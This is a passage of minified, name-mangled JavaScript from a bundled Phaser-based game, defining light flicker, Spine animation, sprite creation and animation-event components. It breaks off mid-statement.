this['store']['subscribe']('renderPosition', _0x2c1b1e => { const _0x3502ee = _0x2c1b1e['newValue']; this['light']['setPosition'](_0x3502ee['x'] + (this['config']['offsetPosition']?.['x'] ?? 0x0), _0x3502ee['y'] + (this['config']['offsetPosition']?.['y'] ?? 0x0)); }); const _0x2254bc = this['config'], _0x2db82e = parseInt(_0x2254bc['color'], 0x10); this['light'] = this['scene']['lights']['addLight'](0x0, 0x0, 0x3 * _0x2254bc['radius']), this['light']['setColor'](_0x2db82e), this['light']['setIntensity']((_0x2254bc['lightStability'] ?? 0x1) > 0.5 ? _0x2254bc['intensity'] : 0x0); const _0x446e6e = this['actor']['getConfig']()['initialPosition'] ?? { 'x': NaN, 'y': NaN }; this['light']['setPosition']((0x0, _0x1ffe7d['physicsScalar2RenderScalar'])(_0x446e6e['x'] + (this['config']['offsetPosition']?.['x'] ?? 0x0)), (0x0, _0x1ffe7d['physicsScalar2RenderScalar'])(_0x446e6e['y'] + (this['config']['offsetPosition']?.['y'] ?? 0x0))), this['store']['update']('lightColor', _0x2db82e); } ['disable']() { this['light']['visible'] = !0x1; } ['enable']() { this['light']['visible'] = !0x0; } ['changeIntensity'](_0x4fe508) { this['config']['intensity'] = _0x4fe508, this['light']['setIntensity'](_0x4fe508); } ['changeColor'](_0x4567e6) { this['config']['color'] = _0x4567e6['toString'](0x10), this['light']['setColor'](_0x4567e6); } ['update'](_0x610197) { if (void 0x0 !== this['config']['lightStability'] && 0x0 !== this['config']['lightStability'] && void 0x0 !== this['config']['flickerType']) switch (this['config']['flickerType']) { case _0x23d135['FLUORESCENT']: this['updateFluorescent'](_0x610197, this['config']['lightStability']); break; case _0x23d135['FIRE']: this['updateFire'](_0x610197, this['config']['lightStability']); break; case _0x23d135['PULSE']: this['updatePulse'](_0x610197, this['config']['lightStability']); } } ['updateFluorescent'](_0x2b3827, _0x1530e4) { if (!(_0x1530e4 >= 0x1) && (this['timeToBeginNextFlickerMS'] > 0x0 && (this['timeToBeginNextFlickerMS'] -= 0x3e8 * _0x2b3827, this['timeToBeginNextFlickerMS'] <= 0x0 && (this['timeToEndFlickerMS'] = this['gameContext']['rngProvider']['getRandomInteger'](_0x22560e['EProviderContext']['FRONTEND_ONLY'], 0x1, 0x32), this['light']['setIntensity'](this['config']['intensity'] / 0x2))), this['timeToEndFlickerMS'] > 0x0 && (this['timeToEndFlickerMS'] -= 0x3e8 * _0x2b3827, this['timeToEndFlickerMS'] <= 0x0))) { const _0x20a27c = this['getMaxTimeToNextFlickerMultiplier'](_0x1530e4); this['timeToBeginNextFlickerMS'] = this['gameContext']['rngProvider']['getRandomInteger'](_0x22560e['EProviderContext']['FRONTEND_ONLY'], 0x1, 0x1388 * _0x20a27c), this['light']['setIntensity'](_0x1530e4 > 0.5 ? this['config']['intensity'] : 0x0); } } ['updateFire'](_0xc3bf71, _0x5ad244) { if (_0x5ad244 >= 0x1) return void this['light']['setIntensity'](this['config']['intensity']); if (_0x5ad244 <= 0x0) return void this['light']['setIntensity'](0x0); this['fireFlickerInterval'] = 0.01 + (0.1 - 0.01) * _0x5ad244; const _0x5d2a68 = this['config']['intensity'] * (0.5 - 0.25 * _0x5ad244), _0x98f70b = this['config']['intensity'] * (0x1 - 0.25 * (0x1 - _0x5ad244)); this['fireFlickerTimer'] += _0xc3bf71, this['fireFlickerTimer'] >= this['fireFlickerInterval'] && (this['fireFlickerTimer'] -= this['fireFlickerInterval'], this['targetFlickerAmount'] = (0x2 * Math['random']() - 0x1) * _0x5d2a68), this['flickerAmount'] += 0.2 * (this['targetFlickerAmount'] - this['flickerAmount']); const _0x5c758b = _0x98f70b + this['flickerAmount']; this['light']['setIntensity'](Phaser['Math']['Clamp'](_0x5c758b, 0x0, this['config']['intensity'])); } ['updatePulse'](_0x1bf7db, _0x5492d7) { if (_0x5492d7 >= 0x1) return void this['light']['setIntensity'](this['config']['intensity']); if (_0x5492d7 <= 0x0) return void this['light']['setIntensity'](0x0); let _0x233f66; _0x233f66 = _0x5492d7 <= 0.5 ? 0.1 + _0x5492d7 / 0.5 * 0.9 : 0x1 + (_0x5492d7 - 0.5) / 0.5 * 0x9, this['pulseTime'] += _0x1bf7db; const _0x1f8ff7 = (Math['sin'](0x2 * Math['PI'] * _0x233f66 * this['pulseTime']) + 0x1) / 0x2 * this['config']['intensity']; this['light']['setIntensity'](_0x1f8ff7); } ['getLightConfig']() { return { 'radius': this['light']['radius'], 'color': this['light']['color'], 'intensity': this['light']['intensity'] }; } ['updateLightConfig'](_0x5e7f4a) { const _0x2e7b26 = parseInt(_0x5e7f4a['color'] ?? '', 0x10); isNaN(_0x5e7f4a['radius']) || this['light']['setRadius'](_0x5e7f4a['radius']), isNaN(_0x2e7b26) || this['light']['setColor'](_0x2e7b26), isNaN(_0x5e7f4a['intensity']) || this['light']['setIntensity'](_0x5e7f4a['intensity']); } ['destroy']() { this['light'] && (this['scene']['lights']['removeLight'](this['light']), this['light'] = null); } ['getMaxTimeToNextFlickerMultiplier'](_0x50a129) { return _0x50a129 <= 0.5 ? 0x2 * (0.5 - _0x50a129) : 0x2 * (_0x50a129 - 0.5); } } _0x2be5d1['LightRenderComponent'] = _0x52d3e4; }, 0x71f: function (_0x50f774, _0x46d2cc, _0x8c8cd8) { 'use strict'; var _0x2c8e5b = this && this['__createBinding'] || (Object['create'] ? function (_0x15bf66, _0x29021f, _0xb4ed31, _0x143801) { void 0x0 === _0x143801 && (_0x143801 = _0xb4ed31); var _0x2533e3 = Object['getOwnPropertyDescriptor'](_0x29021f, _0xb4ed31); _0x2533e3 && !('get' in _0x2533e3 ? !_0x29021f['__esModule'] : _0x2533e3['writable'] || _0x2533e3['configurable']) || (_0x2533e3 = { 'enumerable': !0x0, 'get': function () { return _0x29021f[_0xb4ed31]; } }), Object['defineProperty'](_0x15bf66, _0x143801, _0x2533e3); } : function (_0x13ebf6, _0x10b108, _0x32ce89, _0x5533f3) { void 0x0 === _0x5533f3 && (_0x5533f3 = _0x32ce89), _0x13ebf6[_0x5533f3] = _0x10b108[_0x32ce89]; }), _0x74029a = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x533a8e, _0x3d2ed1) { Object['defineProperty'](_0x533a8e, 'default', { 'enumerable': !0x0, 'value': _0x3d2ed1 }); } : function (_0xc0335d, _0x3adf1e) { _0xc0335d['default'] = _0x3adf1e; }), _0x3bd4d6 = this && this['__importStar'] || function (_0x1d8008) { if (_0x1d8008 && _0x1d8008['__esModule']) return _0x1d8008; var _0x50667e = {}; if (null != _0x1d8008) { for (var _0x241169 in _0x1d8008) 'default' !== _0x241169 && Object['prototype']['hasOwnProperty']['call'](_0x1d8008, _0x241169) && _0x2c8e5b(_0x50667e, _0x1d8008, _0x241169); } return _0x74029a(_0x50667e, _0x1d8008), _0x50667e; }; Object['defineProperty'](_0x46d2cc, '__esModule', { 'value': !0x0 }), _0x46d2cc['SpineRenderComponent'] = void 0x0; const _0x12ab9d = _0x8c8cd8(0x2414), _0x1716a0 = _0x8c8cd8(0x5d3), _0x2fa3e6 = (_0x3bd4d6(_0x8c8cd8(0x2419)), _0x8c8cd8(0x1512)), _0x14612f = _0x8c8cd8(0xf18), _0x2e6c58 = _0x8c8cd8(0x18c1), _0x77ef95 = 0x0, _0x2751a6 = !0x1, _0x58191f = 0.1, _0x275d90 = 0x1, _0xd5d91d = 'none'; class _0x29f480 extends _0x12ab9d['ActorComponent']{ ['spine'];['tracks'] = []; constructor(_0x5b51ef) { super({ ..._0x5b51ef, 'isRenderComponent': !0x0 }); } ['init']() { (0x0, _0x1716a0['runningAsBackend'])() || (this['store']['subscribe']('renderPosition', ({ oldValue: _0x1c75a3, newValue: _0x2090fe }) => { this['spine']['setPosition'](_0x2090fe['x'] + (this['config']['offsetPosition']?.['x'] ?? 0x0), _0x2090fe['y'] + (this['config']['offsetPosition']?.['y'] ?? 0x0)); }), this['store']['subscribe']('renderRotation', ({ oldValue: _0xa130c6, newValue: _0x3441e2 }) => { this['spine']['rotation'] = _0x3441e2; }), this['store']['subscribe']('lightColor', _0x51dc10 => { this['setTintToSpine'](this['getColor'](this['config']['tint'] ?? 0xffffff)); }), this['createAndAddSpine'](this['config'], this['config']['spineAssetName'])); } ['get']() { return this['spine']; } ['destroy']() { this['spine']['destroy'](); } ['update']() { const _0x7c8e5f = this['config']['useCulling'] && this['isActorInCamera'](_0x2fa3e6['ECamera']['MAIN']), _0x661982 = !this['scene']['getFromStore']('spinesEnabled'); this['spine']['visible'] = !_0x7c8e5f && !_0x661982; } ['playAnimation'](_0x9e06e2) { try { this['playAnimationSmoothed'](_0x9e06e2); } catch (_0x1139bc) { } return this; } ['addClearAnimation'](_0x1123bb, _0x1ec264) { _0x1123bb = _0x1123bb || _0x77ef95; const _0x358324 = this['spine']['state']['getCurrent'](_0x1123bb)?.['animation']['duration'] ?? 0x0; return this['spine']['state']['addEmptyAnimation'](_0x1123bb, _0x58191f, _0x358324 * (_0x1ec264 ?? 0x1)), this; } ['clearAnimation'](_0x345a2e) { return _0x345a2e = _0x345a2e || _0x77ef95, this['spine']['state']['setEmptyAnimation'](_0x345a2e, _0x58191f), this; } ['isPlayingAnimation'](_0x379b5a, _0x42efaa = 0x0) { if (!this['spine']['state']['getCurrent'](_0x42efaa)) return !0x1; return (_0x379b5a instanceof Array ? _0x379b5a : [_0x379b5a])['includes'](this['spine']['state']['getCurrent'](_0x42efaa)['animation']['name']); } ['isPlayingAnyAnimation'](_0x462d21 = 0x0) { return !!this['spine']['state']['getCurrent'](_0x462d21); } ['setDirection'](_0x115362) { 'left' === _0x115362 && this['spine']['scaleX'] > 0x0 && (this['spine']['scaleX'] *= -0x1), 'right' === _0x115362 && this['spine']['scaleX'] <= 0x0 && (this['spine']['scaleX'] *= -0x1); } ['getDirection']() { return this['spine']['scaleX'] > 0x0 ? 'right' : 'left'; } ['flash'](_0x130831, _0x1c0866, _0x788791) { const _0x2eb051 = ((0xff0000 & _0x1c0866) >> 0x10) / 0xff * 0xa, _0x15e6aa = ((0xff00 & _0x1c0866) >> 0x8) / 0xff * 0xa, _0x5b9d8b = (0xff & _0x1c0866) / 0xff * 0xa, _0xbd6b1 = this['config']['tint'] ?? 0xffffff, _0x5eda24 = this['getColor'](_0xbd6b1), _0x3dca41 = (_0x5eda24 >> 0x10 & 0xff) / 0xff, _0x3bc654 = (_0x5eda24 >> 0x8 & 0xff) / 0xff, _0x27c19c = (0xff & _0x5eda24) / 0xff, _0xce6aee = _0x788791 ? { 'r': _0x3dca41, 'g': _0x3bc654, 'b': _0x27c19c } : { 'r': _0x2eb051, 'g': _0x15e6aa, 'b': _0x5b9d8b }; return _0x788791 || this['spine']['skeleton']['slots']['forEach'](_0x3d1344 => { _0x3d1344['color']['r'] = _0x2eb051, _0x3d1344['color']['g'] = _0x15e6aa, _0x3d1344['color']['b'] = _0x5b9d8b; }), this['scene']['tweens']['add']({ 'targets': _0xce6aee, 'r': _0x788791 ? _0x2eb051 : _0x3dca41, 'g': _0x788791 ? _0x15e6aa : _0x3bc654, 'b': _0x788791 ? _0x5b9d8b : _0x27c19c, 'ease': 'Linear', 'duration': _0x130831, 'onUpdate': () => { if (!this['spine']['active']) return; const { r: _0x3c7689, g: _0x1444d0, b: _0x4e1c42 } = _0xce6aee; this['spine']['skeleton']['slots']['forEach'](_0x15edb4 => { _0x15edb4['color']['r'] = _0x3c7689, _0x15edb4['color']['g'] = _0x1444d0, _0x15edb4['color']['b'] = _0x4e1c42; }); } }), _0xce6aee; } ['cancelFlash'](_0x5aaa28) { if (!this['spine']['active']) return; this['scene']['tweens']['killTweensOf'](_0x5aaa28); const _0x43f803 = this['config']['tint'] ?? 0xffffff, _0x3051db = this['getColor'](_0x43f803), _0x21f3cf = (_0x3051db >> 0x10 & 0xff) / 0xff, _0x9b4a11 = (_0x3051db >> 0x8 & 0xff) / 0xff, _0xfad26f = (0xff & _0x3051db) / 0xff; this['spine']['skeleton']['slots']['forEach'](_0x2ca630 => { _0x2ca630['color']['r'] = _0x21f3cf, _0x2ca630['color']['g'] = _0x9b4a11, _0x2ca630['color']['b'] = _0xfad26f; }); } ['updateTintOverTime'](_0x5027d4, _0x359436, _0x43c46e) { const _0x46d28c = (_0x359436 >> 0x10 & 0xff) / 0xff, _0x4a11a0 = (_0x359436 >> 0x8 & 0xff) / 0xff, _0x3c4670 = (0xff & _0x359436) / 0xff, _0x3ec8eb = { 'r': ((0xff0000 & _0x5027d4) >> 0x10) / 0xff, 'g': ((0xff00 & _0x5027d4) >> 0x8) / 0xff, 'b': (0xff & _0x5027d4) / 0xff }; this['scene']['tweens']['add']({ 'targets': _0x3ec8eb, 'r': _0x46d28c, 'g': _0x4a11a0, 'b': _0x3c4670, 'ease': 'Linear', 'duration': _0x43c46e, 'onUpdate': () => { if (!this['spine']['active']) return; const { r: _0x26d9c0, g: _0x216c13, b: _0x304d1a } = _0x3ec8eb; this['spine']['skeleton']['slots']['forEach'](_0xa17d97 => { _0xa17d97['color']['r'] = _0x26d9c0, _0xa17d97['color']['g'] = _0x216c13, _0xa17d97['color']['b'] = _0x304d1a; }); } }); } ['replaceSpine'](_0x3c75b2, _0x424f9a, _0x138c51) { const _0x5e8992 = 'spine_' + this['gameContext']['timeProvider']['currentRenderTime']['toString']()['replaceAll']('.', ''), _0x3faed8 = '' + _0x5e8992, _0xf6ac7c = '' + _0x5e8992; this['scene']['cache']['json']['add'](_0x3faed8, _0x3c75b2), this['scene']['cache']['text']['add'](_0xf6ac7c, _0x424f9a), _0x138c51['forEach'](_0x49807e => { this['scene']['textures']['remove'](_0x49807e['name']), this['scene']['textures']['addImage'](_0x49807e['name'], _0x49807e['texture']); }), this['scene']['spine']['cache']['entries']['set'](_0xf6ac7c, { 'premultipliedAlpha': !0x0, 'data': _0x424f9a, 'prefix': '' }), this['spine']['state']['listeners'] = [], this['spine']['destroy'](), this['createAndAddSpine'](this['config'], _0x3faed8); } ['activateLight']() { this['spine']['setPipeline']('Light2D'); } ['deactivateLight']() { this['spine']['resetPipeline'](); } ['setTint'](_0x4201ea) { this['setTintToSpine'](this['getColor'](_0x4201ea)); } ['getColor'](_0x17b51a) { const _0x4f42b8 = this['scene']['getFromStore']('objectLightTint'), _0xd1373b = (0x0, _0x2e6c58['combineTints'])(_0x4f42b8, _0x17b51a), _0x414bb9 = this['store']['get']('lightColor'); return (0x0, _0x2e6c58['addLightToTint'])(_0xd1373b, _0x414bb9); } ['setTintToSpine'](_0x90ae49) { const _0x2db1c3 = this['spine'], _0x27f8a8 = (_0x90ae49 >> 0x10 & 0xff) / 0xff, _0xe95ff4 = (_0x90ae49 >> 0x8 & 0xff) / 0xff, _0x48be23 = (0xff & _0x90ae49) / 0xff; _0x2db1c3['skeleton']['slots']['forEach'](_0x439b98 => _0x439b98['color']['r'] = _0x27f8a8), _0x2db1c3['skeleton']['slots']['forEach'](_0x4de0d4 => _0x4de0d4['color']['g'] = _0xe95ff4), _0x2db1c3['skeleton']['slots']['forEach'](_0x185ceb => _0x185ceb['color']['b'] = _0x48be23); } ['createAndAddSpine'](_0xa39a12, _0x367698) { this['spine'] = this['scene']['add']['spine'](0x0, 0x0, _0x367698, _0xa39a12['animationName'], _0xa39a12['loop']), this['spine']['setDepth'](this['config']['layerDepth'] || _0x14612f['LAYER_DEPTHS']['SPINE']), this['spine']['setScale'](_0xa39a12['scale'], _0xa39a12['scale']), _0xa39a12['tint'] && this['setTint'](_0xa39a12['tint']), this['setupEvents'](); } ['playAnimationSmoothed'](_0x202549) { const _0x1b98e7 = _0x202549['trackIndex'] || _0x77ef95, _0x20769f = _0x202549['name'] || _0xd5d91d, _0x20471e = _0x202549['loop'] || _0x2751a6, _0x2cedf4 = this['spine']['state']['getCurrent'](_0x1b98e7), _0xbe8ae2 = _0x2cedf4?.['trackTime']; let _0x32609e = _0x2cedf4; _0x32609e || (_0x32609e = this['spine']['setAnimation'](_0x1b98e7, _0x20769f, _0x20471e)), _0x32609e['timeScale'] = _0x202549['timeScale'] || _0x275d90, _0x2cedf4 && _0x2cedf4['animation']['name'] === _0x20769f && !_0x202549['restartAnimationIfPlaying'] || (_0x32609e = this['spine']['setAnimation'](_0x1b98e7, _0x20769f, _0x20471e), _0x32609e['timeScale'] = _0x202549['timeScale'] || _0x275d90, _0x32609e['mixDuration'] = isNaN(_0x202549['mixDuration']) ? _0x58191f : _0x202549['mixDuration'], this['tracks'][_0x1b98e7] = _0x32609e, _0x202549['retainTime'] && _0xbe8ae2 && (_0x32609e['trackTime'] = _0xbe8ae2), _0x202549['startAt'] && (_0x32609e['trackTime'] = _0x32609e['animation']['duration'] * _0x202549['startAt'])); } ['setupEvents']() { this['spine']['state']['addListener']({ 'start': _0x4e16b3 => { }, 'interrupt': _0x3e586a => { }, 'end': _0x13bc65 => { }, 'dispose': _0x3951d3 => { }, 'complete': _0x5da8ec => { }, 'event': (_0xd2af4b, _0x383a4b) => { this['messageBus']['publish']('spineEvent', _0x383a4b); } }); } ['isActorInCamera'](_0x489c07) { const _0x4e1847 = this['spine']['skeleton']['data']['width'] * this['spine']['scaleX'], _0x1ad0de = this['spine']['skeleton']['data']['height'] * this['spine']['scaleY'], _0x539ee8 = this['gameContext']['getCamera'](_0x489c07)['worldView'], _0x413334 = this['actor']['getFromStore']('renderPosition'), _0x2c465a = { 'left': _0x413334['x'] - _0x4e1847 / 0x2, 'right': _0x413334['x'] + _0x4e1847 / 0x2, 'top': _0x413334['y'] - _0x1ad0de / 0x2, 'bottom': _0x413334['y'] + _0x1ad0de / 0x2 }; return _0x539ee8['contains'](_0x2c465a['left'], _0x2c465a['top']) || _0x539ee8['contains'](_0x2c465a['right'], _0x2c465a['top']) || _0x539ee8['contains'](_0x2c465a['left'], _0x2c465a['bottom']) || _0x539ee8['contains'](_0x2c465a['right'], _0x2c465a['bottom']); } } _0x46d2cc['SpineRenderComponent'] = _0x29f480; }, 0x9c1: function (_0x260093, _0x2ec0db, _0x1e5bdb) { 'use strict'; var _0x478ed8 = this && this['__importDefault'] || function (_0x41a880) { return _0x41a880 && _0x41a880['__esModule'] ? _0x41a880 : { 'default': _0x41a880 }; }; Object['defineProperty'](_0x2ec0db, '__esModule', { 'value': !0x0 }), _0x2ec0db['createSpriteFromAnimationConfig'] = void 0x0; const _0xc0ee9f = _0x1e5bdb(0xd2e), _0x8cf284 = _0x1e5bdb(0xf18), _0xc57111 = _0x1e5bdb(0x5d3), _0x154df6 = _0x478ed8(_0x1e5bdb(0x1b39)); function _0x20a653(_0x23e4e9, _0x23c2a4) { const _0x20ac1c = (0x0, _0xc0ee9f['isFacingLeft'])(_0x23c2a4['initialRotation']) ? -0x1 : 0x1, _0x4d8524 = _0x154df6['default']['degToRad'](_0x23c2a4['animation']['offsetRotation'] ?? 0x0) * _0x20ac1c + (_0x23c2a4['initialRotation'] ?? 0x0); _0x23e4e9['setRotation'](_0x4d8524); } _0x2ec0db['createSpriteFromAnimationConfig'] = function (_0x33ebeb) { const _0x2f8fdd = _0x33ebeb['scene'], _0x31b43d = _0x33ebeb['gameContext'], _0x1ad2ed = _0x33ebeb['animation']; _0x2f8fdd['anims']['exists'](_0x1ad2ed['animationConfig']['key']) || _0x2f8fdd['anims']['create'](_0x1ad2ed['animationConfig']); const _0x15f09a = _0x1ad2ed['animationConfig']['key'] ? void 0x0 : _0x1ad2ed['animationConfig']['staticFrame'], _0x523944 = _0x2f8fdd['add']['sprite'](NaN, NaN, _0x1ad2ed['textureName'], _0x15f09a); _0x1ad2ed['animationConfig']['key'] && _0x523944['play'](_0x1ad2ed['animationConfig']), _0x1ad2ed['swapX'] && _0x523944['setFlipX'](!0x0), _0x1ad2ed['swapY'] && _0x523944['setFlipY'](!0x0), _0x1ad2ed['tint'] && _0x523944['setTint'](_0x1ad2ed['tint']), _0x1ad2ed['affectedByLight'] && !(0x0, _0xc57111['runningAsBackend'])() && _0x523944['setPipeline']('Light2D'), _0x1ad2ed['scale'] && _0x523944['setScale'](_0x1ad2ed['scale']), _0x1ad2ed['scaleX'] && (_0x523944['scaleX'] = _0x1ad2ed['scaleX'] * (_0x1ad2ed['scale'] ?? 0x1)), _0x1ad2ed['scaleY'] && (_0x523944['scaleY'] = _0x1ad2ed['scaleY'] * (_0x1ad2ed['scale'] ?? 0x1)), _0x1ad2ed['blendMode'] && _0x523944['setBlendMode'](_0x1ad2ed['blendMode']), _0x1ad2ed['alpha'] && _0x523944['setAlpha'](_0x1ad2ed['alpha']); const _0x539d78 = _0x523944['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x8cf284['LAYER_DEPTHS']['SPRITE_ADD'] : _0x8cf284['LAYER_DEPTHS']['SPRITE']; _0x523944['setDepth'](_0x539d78 + (_0x1ad2ed['renderDepthOffset'] ?? 0x0)), _0x1ad2ed['destroyOnAnimationEnd'] && _0x523944['on']('animationcomplete', () => { _0x523944['destroy'](), _0x33ebeb['destroyCallback']?.(); }); const _0x89386a = _0x1ad2ed['animationConfig']['key'] ? void 0x0 : _0x1ad2ed['animationConfig']['durationMS'] ?? 0x1 / 0x0; if (_0x89386a || _0x1ad2ed['durationMS']) { const _0x421d2d = _0x89386a || _0x1ad2ed['durationMS']; _0x31b43d['timeProvider']['delayAction'](() => { _0x523944['destroy'](), _0x33ebeb['destroyCallback']?.(); }, _0x421d2d); } if ('USE_ROTATION' === _0x1ad2ed['rotationType']) _0x20a653(_0x523944, _0x33ebeb); else !function (_0x29f8a7, _0x52db9d) { const _0x4ebd47 = (0x0, _0xc0ee9f['isFacingLeft'])(_0x52db9d['initialRotation']) ? -0x1 : 0x1, _0xd8c16c = _0x154df6['default']['degToRad'](_0x52db9d['animation']['offsetRotation'] ?? 0x0) * _0x4ebd47; _0x29f8a7['setRotation'](_0xd8c16c); }(_0x523944, _0x33ebeb); _0x1ad2ed['flipXForLeftDirection'] && (0x0, _0xc0ee9f['isFacingLeft'])(_0x33ebeb['initialRotation'] || 0x0) && _0x523944['setFlipX'](!_0x1ad2ed['swapX']), _0x1ad2ed['fade'] && function (_0x49dd0f, _0x4c63e5) { const _0x251953 = _0x4c63e5['animation']['fade']; _0x49dd0f['setAlpha'](_0x251953['initialAlpha']), _0x4c63e5['gameContext']['timeProvider']['delayAction'](() => { _0x49dd0f['scene'] && _0x49dd0f['scene']['tweens'] && (_0x49dd0f['scene']['tweens']['add']({ 'targets': _0x49dd0f, 'alpha': { 'from': _0x251953['initialAlpha'], 'to': _0x251953['targetAlpha'] }, 'duration': _0x251953['durationMS'], 'onComplete': () => { } }), (_0x251953['initialScale'] || _0x251953['targetScale']) && _0x49dd0f['scene']['tweens']['add']({ 'targets': _0x49dd0f, 'scale': { 'from': _0x251953['initialScale'] ?? 0x1, 'to': _0x251953['targetScale'] ?? 0x0 }, 'duration': _0x251953['durationMS'], 'onComplete': () => { } })); }, _0x251953['startTimeMS']); }(_0x523944, _0x33ebeb); const _0xf7332d = { 'sprite': _0x523944, 'updatePosition': (_0xbb2f5d, _0x152fb0) => function (_0x46c7bb, _0x34f7eb, _0x4afbd1, _0x586c9c) { const _0x2ccbce = (0x0, _0xc0ee9f['isFacingLeft'])(_0x586c9c), _0x58c12a = (_0x34f7eb['initialRotation'] ?? 0x0) * (_0x2ccbce ? -0x1 : 0x1), _0x310f09 = _0x34f7eb['renderPositionFunction'] ? _0x34f7eb['renderPositionFunction']() : _0x4afbd1, _0x3801da = -(_0x34f7eb['animation']['offsetPosition']?.['x'] ?? 0x0), _0x3403dc = _0x34f7eb['animation']['offsetPosition']?.['y'] ?? 0x0; let _0x445e80 = _0x3801da * Math['cos'](_0x58c12a) - _0x3403dc * Math['sin'](_0x58c12a); const _0x1e4763 = _0x3801da * Math['sin'](_0x58c12a) + _0x3403dc * Math['cos'](_0x58c12a); _0x2ccbce && (_0x445e80 = -_0x445e80), _0x46c7bb['setPosition'](_0x310f09['x'] + _0x445e80, _0x310f09['y'] + _0x1e4763); }(_0x523944, _0x33ebeb, _0xbb2f5d, _0x152fb0) }; return 'USE_ROTATION' === _0x1ad2ed['rotationType'] && (_0xf7332d['updateRotation'] = _0x72db18 => { _0x33ebeb['initialRotation'] = _0x72db18, _0x20a653(_0x523944, _0x33ebeb); }), _0xf7332d; }; }, 0xf54: (_0x3ec2f1, _0x21a910, _0x58839f) => { 'use strict'; Object['defineProperty'](_0x21a910, '__esModule', { 'value': !0x0 }), _0x21a910['AnimatedSpriteEventController'] = void 0x0; const _0x322d57 = _0x58839f(0x1520); class _0x5d464b extends _0x322d57['ComponentController']{ constructor(_0x1a209c) { super(_0x1a209c); } ['init']() { this['config']['explosionConfigs'] = this['config']['explosionConfigs'] ?? {}, this['config']['soundConfigs'] = this['config']['soundConfigs'] ?? {}, 0x0 !== Object['keys'](this['config']['explosionConfigs'])['length'] && this['messageBus']['subscribe'](this, 'spriteEvent', ({ animationName: _0x2f52df, frameName: _0x1b74a4 }) => { this['maybeCreateExplosion'](_0x2f52df), this['maybeCreateSounds'](_0x2f52df); }); } ['maybeCreateExplosion'](_0x596e0d) { const _0x450a28 = this['config']['explosionConfigs'][_0x596e0d]; if (!_0x450a28) return; (Array['isArray'](_0x450a28) ? _0x450a28 : [_0x450a28])['forEach'](_0x5b2003 => { this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': _0x5b2003, 'position': this['store']['get']('renderPosition'), 'rotation': this['store']['get']('lookDirection'), 'originActor': this['actor'] }); }); } ['maybeCreateSounds'](_0x5bb935) { const _0x15ba42 = this['config']['soundConfigs'][_0x5bb935]; if (!_0x15ba42) return; const _0x358c89 = { ..._0x15ba42['request']['config'], 'groupName': this['actor']['id'] }; this['gameMessageBus']['publish']('requestSound', { 'config': _0x358c89, 'getPosition': _0x15ba42['request']['getPosition'] ?? (() => this['store']['get']('renderPosition')) }); } } _0x21a910['AnimatedSpriteEventController'] = _0x5d464b; }, 0x2228: (_0x51b399, _0x2d903b, _0x232b2d) => { 'use strict'; Object['defineProperty'](_0x2d903b, '__esModule', { 'value': !0x0 }), _0x2d903b['AnimatedSpriteRenderComponent'] = void 0x0; const _0x5e41fe = _0x232b2d(0x5d3), _0x3b4d97 = _0x232b2d(0x2414), _0x317804 = _0x232b2d(0x1b39), _0x3027ae = _0x232b2d(0xd2e), _0x51865b = _0x232b2d(0xf18), _0x3cdf70 = _0x232b2d(0x1512); class _0x36297f extends _0x3b4d97['ActorComponent']{ ['animationConfigs'] = {};['sprite'];['currentAnimationConfigName'];['debugVisibilityHandle']; constructor(_0x5c790f) { super({ ..._0x5c790f, 'isRenderComponent': !0x0 }); } ['update'](_0x16a714) { if (!this['scene']) return; const _0x382a09 = !this['isActorInCamera'](_0x3cdf70['ECamera']['MAIN']) && !this['config']['disableCulling'], _0x2dd22d = !this['scene']['getFromStore']('spritesEnabled'), _0x4f90a3 = this['config']['hideIfNotPlaying'] && !this['sprite']['anims']['isPlaying']; this['sprite']['visible'] = !_0x382a09 && !_0x2dd22d && !_0x4f90a3, this['sprite']['visible'] && this['sprite']['update'](_0x16a714); } ['init']() { this['config']['animationName'] = Array['isArray'](this['config']['animationName']) ? [...this['config']['animationName']] : this['config']['animationName']['split'](','), this['config']['animationName']['forEach'](_0x43e07 => { const _0x5ccfa7 = this['createAnimationConfig'](_0x43e07); this['animationConfigs'][_0x43e07] = _0x5ccfa7; }); const _0x29fb7b = Object['values'](this['animationConfigs'])[0x0], _0x54958f = Object['keys'](this['animationConfigs'])[0x0]; this['sprite'] = this['createSprite'](_0x29fb7b), this['setupAnimation'](_0x29fb7b, _0x54958f), this['setupFlip'](), this['setupPosition'](), this['config']['autoPlay'] && this['playFirst'](), this['setupDebugVisibility'](), this['config']['affectedByLight'] && this['gameContext']['timeProvider']['delayAction'](() => this['activateLight']()); } ['destroy']() { this['sprite']['destroy'](), this['scene']?.['unsubscribeFromStore']('spritesEnabled', this['debugVisibilityHandle']); } ['flash'](_0x302ac7, _0x36f0ee) { this['sprite']['setTint'](_0x36f0ee); const _0x10ed96 = { 'brightness': 0x3, 'tintProgress': 0x1 }; return this['scene']['tweens']['add']({ 'targets': _0x10ed96, 'brightness': 0x1, 'tintProgress': 0x0, 'ease': 'Linear', 'duration': _0x302ac7, 'onUpdate': () => { if (!this['sprite']['active']) return; const { brightness: _0x530b2f, tintProgress: _0x2193dc } = _0x10ed96, _0x2965d8 = Phaser['Display']['Color']['ValueToColor'](_0x36f0ee), _0x38a9fb = Phaser['Display']['Color']['ValueToColor'](0xffffff), _0x52ea38 = (_0x31ee15, _0x1587b2, _0x4c0d4f) => (0x1 - _0x4c0d4f) * _0x31ee15 + _0x4c0d4f * _0x1587b2, _0x541ee1 = _0x52ea38(_0x38a9fb['red'], _0x2965d8['red'], _0x2193dc), _0x593089 = _0x52ea38(_0x38a9fb['green'], _0x2965d8['green'], _0x2193dc), _0x1b0181 = _0x52ea38(_0x38a9fb['blue'], _0x2965d8['blue'], _0x2193dc), _0x5b8516 = Phaser['Display']['Color']['GetColor'](_0x541ee1, _0x593089, _0x1b0181); this['sprite']['setTint'](_0x5b8516); }, 'onComplete': () => { if (!this['sprite']['active']) return; const _0x218484 = this['animationConfigs'][this['currentAnimationConfigName']]; this['sprite']['setTint'](_0x218484['tint'] ?? 0xffffff), this['config']['tint'] && this['sprite']['setTint'](this['config']['tint']); } }), _0x10ed96; } ['cancelFlash'](_0xde8715) { this['sprite']['active'] && this['sprite']['preFX'] && (this['scene']['tweens']['killTweensOf'](_0xde8715), this['sprite']['clearTint']()); } ['activateLight']() { this['sprite']['setPipeline']('Light2D'); } ['deactivateLight']() { this['sprite']['resetPipeline'](); } ['play'](_0x2481bb) { const _0x55fa65 = _0x2481bb?.['animationName'], _0x35bc15 = this['animationConfigs'][_0x55fa65]; if (!_0x35bc15) return; const 